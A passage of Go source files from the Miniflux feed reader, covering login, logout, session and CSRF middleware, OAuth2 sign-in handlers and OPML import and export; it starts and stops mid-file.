view.Render(\"login\"))\n\t\treturn\n\t}\n\n\tsessionToken, userID, err := h.store.CreateUserSessionFromUsername(authForm.Username, r.UserAgent(), clientIP)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tslog.Info(\"User authenticated successfully with username/password\",\n\t\tslog.Bool(\"authentication_successful\", true),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.Int64(\"user_id\", userID),\n\t\tslog.String(\"username\", authForm.Username),\n\t)\n\n\th.store.SetLastLogin(userID)\n\n\tuser, err := h.store.UserByID(userID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess.SetLanguage(user.Language)\n\tsess.SetTheme(user.Theme)\n\n\thttp.SetCookie(w, cookie.New(\n\t\tcookie.CookieUserSessionID,\n\t\tsessionToken,\n\t\tconfig.Opts.HTTPS(),\n\t\tconfig.Opts.BasePath(),\n\t))\n\n\tif redirectURL != \"\" && urllib.IsRelativePath(redirectURL) {\n\t\tresponse.HTMLRedirect(w, r, redirectURL)\n\t\treturn\n\t}\n\n\tresponse.HTMLRedirect(w, r, h.basePath+\"/\"+user.DefaultHomePage)\n}\n"
  },
  {
    "path": "internal/ui/login_show.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showLoginPage(w http.ResponseWriter, r *http.Request) {\n\tif request.IsAuthenticated(r) {\n\t\tuser, err := h.store.UserByID(request.UserID(r))\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tresponse.HTMLRedirect(w, r, h.basePath+\"/\"+user.DefaultHomePage)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tredirectURL := request.QueryStringParam(r, \"redirect_url\", \"\")\n\tview.Set(\"redirectURL\", redirectURL)\n\tresponse.HTML(w, r, view.Render(\"login\"))\n}\n"
  },
  {
    "path": "internal/ui/logout.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/cookie\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/session\"\n)\n\nfunc (h *handler) logout(w http.ResponseWriter, r *http.Request) {\n\tsess := session.New(h.store, request.SessionID(r))\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess.SetLanguage(user.Language)\n\tsess.SetTheme(user.Theme)\n\n\tif err := h.store.RemoveUserSessionByToken(user.ID, request.UserSessionToken(r)); err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\thttp.SetCookie(w, cookie.Expired(\n\t\tcookie.CookieUserSessionID,\n\t\tconfig.Opts.HTTPS(),\n\t\tconfig.Opts.BasePath(),\n\t))\n\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/\"))\n}\n"
  },
  {
    "path": "internal/ui/middleware.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"context\"\n\t\"errors\"\n\t\"log/slog\"\n\t\"net/http\"\n\t\"net/url\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/crypto\"\n\t\"miniflux.app/v2/internal/http/cookie\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/storage\"\n\t\"miniflux.app/v2/internal/ui/session\"\n)\n\ntype middleware struct {\n\tbasePath string\n\tstore    *storage.Storage\n}\n\nfunc newMiddleware(basePath string, store *storage.Storage) *middleware {\n\treturn &middleware{basePath, store}\n}\n\nfunc (m *middleware) handleUserSession(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tsession := m.getUserSessionFromCookie(r)\n\n\t\tif session == nil {\n\t\t\tif isPublicRoute(r) {\n\t\t\t\tnext.ServeHTTP(w, r)\n\t\t\t} else {\n\t\t\t\tslog.Debug(\"Redirecting to login page because no user session has been found\",\n\t\t\t\t\tslog.String(\"url\", r.RequestURI),\n\t\t\t\t)\n\t\t\t\tloginURL, _ := url.Parse(m.basePath + \"/\")\n\t\t\t\tvalues := loginURL.Query()\n\t\t\t\tvalues.Set(\"redirect_url\", r.RequestURI)\n\t\t\t\tloginURL.RawQuery = values.Encode()\n\t\t\t\tresponse.HTMLRedirect(w, r, loginURL.String())\n\t\t\t}\n\t\t} else {\n\t\t\tslog.Debug(\"User session found\",\n\t\t\t\tslog.String(\"url\", r.RequestURI),\n\t\t\t\tslog.Int64(\"user_id\", session.UserID),\n\t\t\t\tslog.Int64(\"user_session_id\", session.ID),\n\t\t\t)\n\n\t\t\tctx := r.Context()\n\t\t\tctx = context.WithValue(ctx, request.UserIDContextKey, session.UserID)\n\t\t\tctx = context.WithValue(ctx, request.IsAuthenticatedContextKey, true)\n\t\t\tctx = context.WithValue(ctx, request.UserSessionTokenContextKey, session.Token)\n\n\t\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t\t}\n\t})\n}\n\nfunc (m *middleware) handleAppSession(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif strings.HasPrefix(r.URL.Path, \"/feed-icon/\") {\n\t\t\t// Skip app session handling for the feed icon route to avoid unnecessary session creation\n\t\t\t// when fetching feed icons.\n\t\t\tnext.ServeHTTP(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tvar err error\n\t\tsession := m.getAppSessionValueFromCookie(r)\n\n\t\tif session == nil {\n\t\t\tif request.IsAuthenticated(r) {\n\t\t\t\tuserID := request.UserID(r)\n\t\t\t\tslog.Debug(\"Cookie expired but user is logged: creating a new app session\",\n\t\t\t\t\tslog.Int64(\"user_id\", userID),\n\t\t\t\t)\n\t\t\t\tsession, err = m.store.CreateAppSessionWithUserPrefs(userID)\n\t\t\t\tif err != nil {\n\t\t\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tslog.Debug(\"App session not found, creating a new one\")\n\t\t\t\tsession, err = m.store.CreateAppSession()\n\t\t\t\tif err != nil {\n\t\t\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\t\t\treturn\n\t\t\t\t}\n\t\t\t}\n\n\t\t\thttp.SetCookie(w, cookie.New(cookie.CookieAppSessionID, session.ID, config.Opts.HTTPS(), config.Opts.BasePath()))\n\t\t}\n\n\t\tif r.Method == http.MethodPost {\n\t\t\tformValue := r.FormValue(\"csrf\")\n\t\t\theaderValue := r.Header.Get(\"X-Csrf-Token\")\n\n\t\t\tif !crypto.ConstantTimeCmp(session.Data.CSRF, formValue) && !crypto.ConstantTimeCmp(session.Data.CSRF, headerValue) {\n\t\t\t\tslog.Warn(\"Invalid or missing CSRF token\",\n\t\t\t\t\tslog.String(\"url\", r.RequestURI),\n\t\t\t\t\tslog.String(\"form_csrf\", formValue),\n\t\t\t\t\tslog.String(\"header_csrf\", headerValue),\n\t\t\t\t)\n\n\t\t\t\tif r.URL.Path == \"/login\" {\n\t\t\t\t\tresponse.HTMLRedirect(w, r, m.basePath+\"/\")\n\t\t\t\t\treturn\n\t\t\t\t}\n\n\t\t\t\tresponse.HTMLBadRequest(w, r, errors.New(\"invalid or missing CSRF\"))\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tctx := r.Context()\n\t\tctx = context.WithValue(ctx, request.SessionIDContextKey, session.ID)\n\t\tctx = context.WithValue(ctx, request.CSRFContextKey, session.Data.CSRF)\n\t\tctx = context.WithValue(ctx, request.OAuth2StateContextKey, session.Data.OAuth2State)\n\t\tctx = context.WithValue(ctx, request.OAuth2CodeVerifierContextKey, session.Data.OAuth2CodeVerifier)\n\t\tctx = context.WithValue(ctx, request.FlashMessageContextKey, session.Data.FlashMessage)\n\t\tctx = context.WithValue(ctx, request.FlashErrorMessageContextKey, session.Data.FlashErrorMessage)\n\t\tctx = context.WithValue(ctx, request.UserLanguageContextKey, session.Data.Language)\n\t\tctx = context.WithValue(ctx, request.UserThemeContextKey, session.Data.Theme)\n\t\tctx = context.WithValue(ctx, request.LastForceRefreshContextKey, session.Data.LastForceRefresh)\n\t\tctx = context.WithValue(ctx, request.WebAuthnDataContextKey, session.Data.WebAuthnSessionData)\n\t\tnext.ServeHTTP(w, r.WithContext(ctx))\n\t})\n}\n\nfunc (m *middleware) getAppSessionValueFromCookie(r *http.Request) *model.Session {\n\tcookieValue := request.CookieValue(r, cookie.CookieAppSessionID)\n\tif cookieValue == \"\" {\n\t\treturn nil\n\t}\n\n\tsession, err := m.store.AppSession(cookieValue)\n\tif err != nil {\n\t\tslog.Debug(\"Unable to fetch app session from the database; another session will be created\",\n\t\t\tslog.String(\"cookie_value\", cookieValue),\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\t\treturn nil\n\t}\n\n\treturn session\n}\n\n// isPublicRoute checks if the request path corresponds to a route that\n// does not require authentication. The path is expected to have the base\n// path already stripped.\nfunc isPublicRoute(r *http.Request) bool {\n\tpath := r.URL.Path\n\n\tswitch path {\n\tcase \"/\", \"/login\", \"/favicon.ico\", \"/manifest.json\", \"/robots.txt\",\n\t\t\"/healthcheck\", \"/offline\",\n\t\t\"/webauthn/login/begin\", \"/webauthn/login/finish\":\n\t\treturn true\n\t}\n\n\tif strings.HasPrefix(path, \"/stylesheets/\") ||\n\t\tstrings.HasPrefix(path, \"/icon/\") ||\n\t\tstrings.HasPrefix(path, \"/feed-icon/\") ||\n\t\tstrings.HasSuffix(path, \"/redirect\") && strings.HasPrefix(path, \"/oauth2/\") ||\n\t\tstrings.HasSuffix(path, \"/callback\") && strings.HasPrefix(path, \"/oauth2/\") ||\n\t\tstrings.HasPrefix(path, \"/share/\") ||\n\t\tstrings.HasPrefix(path, \"/proxy/\") ||\n\t\tstrings.HasSuffix(path, \".js\") {\n\t\treturn true\n\t}\n\n\treturn false\n}\n\nfunc (m *middleware) getUserSessionFromCookie(r *http.Request) *model.UserSession {\n\tcookieValue := request.CookieValue(r, cookie.CookieUserSessionID)\n\tif cookieValue == \"\" {\n\t\treturn nil\n\t}\n\n\tsession, err := m.store.UserSessionByToken(cookieValue)\n\tif err != nil {\n\t\tslog.Error(\"Unable to fetch user session from the database\",\n\t\t\tslog.String(\"cookie_value\", cookieValue),\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\t\treturn nil\n\t}\n\n\treturn session\n}\n\nfunc (m *middleware) handleAuthProxy(next http.Handler) http.Handler {\n\treturn http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tif request.IsAuthenticated(r) || config.Opts.AuthProxyHeader() == \"\" {\n\t\t\tnext.ServeHTTP(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tremoteIP := request.FindRemoteIP(r)\n\t\ttrustedNetworks := config.Opts.TrustedReverseProxyNetworks()\n\t\tif !request.IsTrustedIP(remoteIP, trustedNetworks) {\n\t\t\tslog.Warn(\"[AuthProxy] Rejecting authentication request from untrusted proxy\",\n\t\t\t\tslog.String(\"remote_ip\", remoteIP),\n\t\t\t\tslog.String(\"client_ip\", request.ClientIP(r)),\n\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\tslog.Any(\"trusted_networks\", trustedNetworks),\n\t\t\t)\n\t\t\tnext.ServeHTTP(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tusername := r.Header.Get(config.Opts.AuthProxyHeader())\n\t\tif username == \"\" {\n\t\t\tnext.ServeHTTP(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tclientIP := request.ClientIP(r)\n\t\tslog.Debug(\"[AuthProxy] Received authenticated requested\",\n\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\tslog.String(\"remote_ip\", remoteIP),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\tslog.String(\"username\", username),\n\t\t)\n\n\t\tuser, err := m.store.UserByUsername(username)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tif user == nil {\n\t\t\tif !config.Opts.IsAuthProxyUserCreationAllowed() {\n\t\t\t\tslog.Debug(\"[AuthProxy] User doesn't exist and user creation is not allowed\",\n\t\t\t\t\tslog.Bool(\"authentication_failed\", true),\n\t\t\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\t\t\tslog.String(\"remote_ip\", remoteIP),\n\t\t\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\t\t\tslog.String(\"username\", username),\n\t\t\t\t)\n\t\t\t\tresponse.HTMLForbidden(w, r)\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tif user, err = m.store.CreateUser(&model.UserCreationRequest{Username: username}); err != nil {\n\t\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\t\treturn\n\t\t\t}\n\t\t}\n\n\t\tsessionToken, _, err := m.store.CreateUserSessionFromUsername(user.Username, r.UserAgent(), clientIP)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tslog.Info(\"[AuthProxy] User authenticated successfully\",\n\t\t\tslog.Bool(\"authentication_successful\", true),\n\t\t\tslog.String(\"client_ip\", clientIP),\n\t\t\tslog.String(\"remote_ip\", remoteIP),\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t\tslog.Int64(\"user_id\", user.ID),\n\t\t\tslog.String(\"username\", user.Username),\n\t\t)\n\n\t\tm.store.SetLastLogin(user.ID)\n\n\t\tsess := session.New(m.store, request.SessionID(r))\n\t\tsess.SetLanguage(user.Language)\n\t\tsess.SetTheme(user.Theme)\n\n\t\thttp.SetCookie(w, cookie.New(\n\t\t\tcookie.CookieUserSessionID,\n\t\t\tsessionToken,\n\t\t\tconfig.Opts.HTTPS(),\n\t\t\tconfig.Opts.BasePath(),\n\t\t))\n\n\t\tresponse.HTMLRedirect(w, r, m.basePath+\"/\"+user.DefaultHomePage)\n\t})\n}\n"
  },
  {
    "path": "internal/ui/oauth2.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"context\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/oauth2\"\n)\n\nfunc getOAuth2Manager(ctx context.Context) *oauth2.Manager {\n\treturn oauth2.NewManager(\n\t\tctx,\n\t\tconfig.Opts.OAuth2ClientID(),\n\t\tconfig.Opts.OAuth2ClientSecret(),\n\t\tconfig.Opts.OAuth2RedirectURL(),\n\t\tconfig.Opts.OAuth2OIDCDiscoveryEndpoint(),\n\t)\n}\n"
  },
  {
    "path": "internal/ui/oauth2_callback.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"crypto/subtle\"\n\t\"errors\"\n\t\"log/slog\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/cookie\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/ui/session\"\n)\n\nfunc (h *handler) oauth2Callback(w http.ResponseWriter, r *http.Request) {\n\tprovider := request.RouteStringParam(r, \"provider\")\n\tif provider == \"\" {\n\t\tslog.Warn(\"Invalid or missing OAuth2 provider\")\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/\"))\n\t\treturn\n\t}\n\n\tcode := request.QueryStringParam(r, \"code\", \"\")\n\tif code == \"\" {\n\t\tslog.Warn(\"No code received on OAuth2 callback\")\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/\"))\n\t\treturn\n\t}\n\n\tstate := request.QueryStringParam(r, \"state\", \"\")\n\tif subtle.ConstantTimeCompare([]byte(state), []byte(request.OAuth2State(r))) == 0 {\n\t\tslog.Warn(\"Invalid OAuth2 state value received\",\n\t\t\tslog.String(\"expected\", request.OAuth2State(r)),\n\t\t\tslog.String(\"received\", state),\n\t\t)\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/\"))\n\t\treturn\n\t}\n\n\tauthProvider, err := getOAuth2Manager(r.Context()).FindProvider(provider)\n\tif err != nil {\n\t\tslog.Error(\"Unable to initialize OAuth2 provider\",\n\t\t\tslog.String(\"provider\", provider),\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/\"))\n\t\treturn\n\t}\n\n\tprofile, err := authProvider.GetProfile(r.Context(), code, request.OAuth2CodeVerifier(r))\n\tif err != nil {\n\t\tslog.Warn(\"Unable to get OAuth2 profile from provider\",\n\t\t\tslog.String(\"provider\", provider),\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/\"))\n\t\treturn\n\t}\n\n\tprinter := locale.NewPrinter(request.UserLanguage(r))\n\tsess := session.New(h.store, request.SessionID(r))\n\n\tif request.IsAuthenticated(r) {\n\t\tloggedUser, err := h.store.UserByID(request.UserID(r))\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tif h.store.AnotherUserWithFieldExists(loggedUser.ID, profile.Key, profile.ID) {\n\t\t\tslog.Error(\"Oauth2 user cannot be associated because it is already associated with another user\",\n\t\t\t\tslog.Int64(\"user_id\", loggedUser.ID),\n\t\t\t\tslog.String(\"oauth2_provider\", provider),\n\t\t\t\tslog.String(\"oauth2_profile_id\", profile.ID),\n\t\t\t)\n\t\t\tsess.NewFlashErrorMessage(printer.Print(\"error.duplicate_linked_account\"))\n\t\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/settings\"))\n\t\t\treturn\n\t\t}\n\n\t\tauthProvider.PopulateUserWithProfileID(loggedUser, profile)\n\t\tif err := h.store.UpdateUser(loggedUser); err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\n\t\tsess.NewFlashMessage(printer.Print(\"alert.account_linked\"))\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/settings\"))\n\t\treturn\n\t}\n\n\tuser, err := h.store.UserByField(profile.Key, profile.ID)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tif user == nil {\n\t\tif !config.Opts.IsOAuth2UserCreationAllowed() {\n\t\t\tresponse.HTMLForbidden(w, r)\n\t\t\treturn\n\t\t}\n\n\t\tif h.store.UserExists(profile.Username) {\n\t\t\tresponse.HTMLBadRequest(w, r, errors.New(printer.Print(\"error.user_already_exists\")))\n\t\t\treturn\n\t\t}\n\n\t\tuserCreationRequest := &model.UserCreationRequest{Username: profile.Username}\n\t\tauthProvider.PopulateUserCreationWithProfileID(userCreationRequest, profile)\n\n\t\tuser, err = h.store.CreateUser(userCreationRequest)\n\t\tif err != nil {\n\t\t\tresponse.HTMLServerError(w, r, err)\n\t\t\treturn\n\t\t}\n\t}\n\n\tclientIP := request.ClientIP(r)\n\tsessionToken, _, err := h.store.CreateUserSessionFromUsername(user.Username, r.UserAgent(), clientIP)\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tslog.Info(\"User authenticated successfully using OAuth2\",\n\t\tslog.Bool(\"authentication_successful\", true),\n\t\tslog.String(\"client_ip\", clientIP),\n\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\tslog.Int64(\"user_id\", user.ID),\n\t\tslog.String(\"username\", user.Username),\n\t)\n\n\th.store.SetLastLogin(user.ID)\n\tsess.SetLanguage(user.Language)\n\tsess.SetTheme(user.Theme)\n\n\thttp.SetCookie(w, cookie.New(\n\t\tcookie.CookieUserSessionID,\n\t\tsessionToken,\n\t\tconfig.Opts.HTTPS(),\n\t\tconfig.Opts.BasePath(),\n\t))\n\n\tresponse.HTMLRedirect(w, r, h.basePath+\"/\"+user.DefaultHomePage)\n}\n"
  },
  {
    "path": "internal/ui/oauth2_redirect.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"log/slog\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/oauth2\"\n\t\"miniflux.app/v2/internal/ui/session\"\n)\n\nfunc (h *handler) oauth2Redirect(w http.ResponseWriter, r *http.Request) {\n\tprovider := request.RouteStringParam(r, \"provider\")\n\tif provider == \"\" {\n\t\tslog.Warn(\"Invalid or missing OAuth2 provider\")\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/\"))\n\t\treturn\n\t}\n\n\tauthProvider, err := getOAuth2Manager(r.Context()).FindProvider(provider)\n\tif err != nil {\n\t\tslog.Error(\"Unable to initialize OAuth2 provider\",\n\t\t\tslog.String(\"provider\", provider),\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/\"))\n\t\treturn\n\t}\n\n\tauth := oauth2.GenerateAuthorization(authProvider.GetConfig())\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tsess.SetOAuth2State(auth.State())\n\tsess.SetOAuth2CodeVerifier(auth.CodeVerifier())\n\n\tresponse.HTMLRedirect(w, r, auth.RedirectURL())\n}\n"
  },
  {
    "path": "internal/ui/oauth2_unlink.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"log/slog\"\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/ui/session\"\n)\n\nfunc (h *handler) oauth2Unlink(w http.ResponseWriter, r *http.Request) {\n\tif config.Opts.DisableLocalAuth() {\n\t\tslog.Warn(\"blocking oauth2 unlink attempt, local auth is disabled\",\n\t\t\tslog.String(\"user_agent\", r.UserAgent()),\n\t\t)\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/\"))\n\t\treturn\n\t}\n\n\tprovider := request.RouteStringParam(r, \"provider\")\n\tif provider == \"\" {\n\t\tslog.Warn(\"Invalid or missing OAuth2 provider\")\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/\"))\n\t\treturn\n\t}\n\n\tauthProvider, err := getOAuth2Manager(r.Context()).FindProvider(provider)\n\tif err != nil {\n\t\tslog.Error(\"Unable to initialize OAuth2 provider\",\n\t\t\tslog.String(\"provider\", provider),\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/settings\"))\n\t\treturn\n\t}\n\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\thasPassword, err := h.store.HasPassword(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tprinter := locale.NewPrinter(request.UserLanguage(r))\n\tif !hasPassword {\n\t\tsess.NewFlashErrorMessage(printer.Print(\"error.unlink_account_without_password\"))\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/settings\"))\n\t\treturn\n\t}\n\n\tauthProvider.UnsetUserProfileID(user)\n\tif err := h.store.UpdateUser(user); err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess.NewFlashMessage(printer.Print(\"alert.account_unlinked\"))\n\tresponse.HTMLRedirect(w, r, h.routePath(\"/settings\"))\n}\n"
  },
  {
    "path": "internal/ui/offline.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showOfflinePage(w http.ResponseWriter, r *http.Request) {\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tresponse.HTML(w, r, view.Render(\"offline\"))\n}\n"
  },
  {
    "path": "internal/ui/opml_export.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\n\t\"miniflux.app/v2/internal/reader/opml\"\n)\n\nfunc (h *handler) exportFeeds(w http.ResponseWriter, r *http.Request) {\n\topmlExport, err := opml.NewHandler(h.store).Export(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tresponse.XMLAttachment(w, r, \"feeds.opml\", opmlExport)\n}\n"
  },
  {
    "path": "internal/ui/opml_import.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"net/http\"\n\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) showImportPage(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"menu\", \"feeds\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tresponse.HTML(w, r, view.Render(\"import\"))\n}\n"
  },
  {
    "path": "internal/ui/opml_upload.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage ui // import \"miniflux.app/v2/internal/ui\"\n\nimport (\n\t\"log/slog\"\n\t\"net/http\"\n\t\"strings\"\n\n\t\"miniflux.app/v2/internal/config\"\n\t\"miniflux.app/v2/internal/http/request\"\n\t\"miniflux.app/v2/internal/http/response\"\n\t\"miniflux.app/v2/internal/locale\"\n\t\"miniflux.app/v2/internal/proxyrotator\"\n\t\"miniflux.app/v2/internal/reader/fetcher\"\n\t\"miniflux.app/v2/internal/reader/opml\"\n\t\"miniflux.app/v2/internal/ui/session\"\n\t\"miniflux.app/v2/internal/ui/view\"\n)\n\nfunc (h *handler) uploadOPML(w http.ResponseWriter, r *http.Request) {\n\tuser, err := h.store.UserByID(request.UserID(r))\n\tif err != nil {\n\t\tresponse.HTMLServerError(w, r, err)\n\t\treturn\n\t}\n\n\tfile, fileHeader, err := r.FormFile(\"file\")\n\tif err != nil {\n\t\tslog.Error(\"OPML file upload error\",\n\t\t\tslog.Int64(\"user_id\", user.ID),\n\t\t\tslog.Any(\"error\", err),\n\t\t)\n\n\t\tresponse.HTMLRedirect(w, r, h.routePath(\"/import\"))\n\t\treturn\n\t}\n\tdefer file.Close()\n\n\tslog.Info(\"OPML file uploaded\",\n\t\tslog.Int64(\"user_id\", user.ID),\n\t\tslog.String(\"file_name\", fileHeader.Filename),\n\t\tslog.Int64(\"file_size\", fileHeader.Size),\n\t)\n\n\tsess := session.New(h.store, request.SessionID(r))\n\tview := view.New(h.tpl, r, sess)\n\tview.Set(\"menu\", \"feeds\")\n\tview.Set(\"user\", user)\n\tview.Set(\"countUnread\", h.store.CountUnreadEntries(user.ID))\n\tview.Set(\"countErrorFeeds\", h.store.CountUserFeedsWithErrors(user.ID))\n\n\tif fileHeader.Size == 0 